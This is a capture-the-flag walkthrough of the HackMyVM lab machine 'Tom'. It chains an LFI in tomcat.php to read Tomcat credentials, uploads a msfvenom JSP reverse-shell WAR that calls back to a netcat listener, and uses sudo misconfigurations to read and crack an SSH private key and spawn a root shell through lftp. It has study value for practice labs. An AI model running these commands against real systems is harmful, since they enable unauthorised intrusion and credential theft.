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Home ยป Walkthrough of Tom – HackMyVM – Writeup

Walkthrough of Tom – HackMyVM – Writeup

tom walkthrough hackmyvm writeup security

Tom is an easy machine from HackMyVM by d4t4s3c. This has a few vulnerabilities including LFI to RCE. Likewise, there are some binaries that would escalate the privileges using sudo. The machine works quite well on VirtualBox and if you haven’t tried it yet, I recommend you do so. “Walkthrough of Tom – HackMyVM – Writeup”

Link to the machine:

Identify the target

Firstly, I got the IP address of the target using arp-scan.

sudo arp-scan
The IP address of the target is

Nmap scan

Next, I did the nmap scan to check the open ports on the target.

nmap -v -T4 -p- -sC -sV -oN nmap.log
The Nmap scan results

There are two HTTP ports, one being Apache httpd whereas another being Apache Tomcat.

Enumerate the webserver at port 80

The home page contains the Apache default page. Thus, I did the gobuster scan.

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -r -u -x html,php,txt -o dir-medium.txt
The paths on the server

We have a path /tomcat.php, that doesn’t show anything. Previously, I had done enumeration of tomcat. Thus, I know that tomcat has plaintext passwords stored on the configuration files. Therefore, there is a high chance that tomcat.php has an LFI and we have to find the configuration file. So, I started fuzzing for the GET parameter.

ffuf -c -ic -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -r -u '' -fs 0
The parameter “filez” has an LFI.

Explain Tomcat

To enumerate the tomcat server, we have to find the tomcat-users.xml file using LFI. Also, I always recommend checking the page source while performing LFI checks manually. I always refer to the site “” for the exploits that I don’t know about. In this case, I did the same and found the path of the file.


The tomcat-users.xml file

Here, we have a user sml and his password. Now, the roles of the user are admin-gui and manager-script. To understand more, there are basically two types of users, admin (host manager) and manager. Furthermore, they are identified with different roles as highlighted below. There are two roles for admin, i.e. admin-gui and admin-script. Similarly, there are four roles for managers. Those are manager-gui, manager-script, manager-jmx and manager-status.

Furthermore, “*-gui* means that we can access the UI of the respective user. However, this certainly doesn’t mean, we can perform the actions of the respective users. Therefore, only having an admin-gui role won’t give the permissions to perform admin actions such as adding users, etc. This requires the role admin-script. Likewise, the manager-gui allows us to access the UI of the manager user and the manager-script allows the managerial operations.

Hence, if we have a “*-script” role, we can perform the operations using the command line. On the other hand, if we have a “*-gui” role in addition to this, we can do the same using the HTML mode. In this case, the user sml has the roles admin-gui and manager-script. Thus, we have to spawn a reverse shell by uploading the “.war” file via the command line.

Spawn a reverse shell

We can generate a reverse shell .war file using msfvenom as follows.

msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT=9001 -f war -o shell.war

Then, I listened on port 9001 for the reverse shell.

nc -nlvp 9001

Next, I uploaded the war file to a path /sh311.

curl --upload-file shell.war -u 'sml:__password__' ''
The uploaded shell

The upload was successful. Finally, I visited the path to get the reverse shell connection.

The reverse shell

The next step is to upgrade to a better shell. Check the link below.

Upgrade to an intelligent reverse shell

Privilege escalation

The next steps are quite easy too. I checked the sudo permissions to know the allowed commands.

sudo -l
The sudo permissions of tomcat

Here, we can see that the user tomcat can access ascii85. This binary is used to encode/decode base85 also known as ascii85. Therefore, we can read the SSH private key of the user nathan.

sudo -u nathan ascii85 /home/nathan/.ssh/id_rsa | ascii85 -d
The private key of nathan

As we can see above, this is an encrypted RSA key. Thus, I copied the content to a new file in my local machine, changed its permission and cracked the passphrase using john. Or, you can use RSACrack by the author for this purpose.

chmod 600 id_rsa
~/ id_rsa > hash
john hash --wordlist=/home/kali/rockyou.txt
The passphrase of the private key

After this, I logged into the SSH shell of the user nathan.

ssh nathan@ -i id_rsa
The shell of the user nathan

Similarly, I checked the sudo permissions of the user. Then, I found that we can use lftp as the root user.

The sudo permissions of the user root

As usual, the lftp binary is my go-to binary for a FTP client. If we check the manual page, we know that this allows command execution.

The snip of manual page
sudo lftp

# Inside lftp
!su -l
# OR, !bash
The root shell

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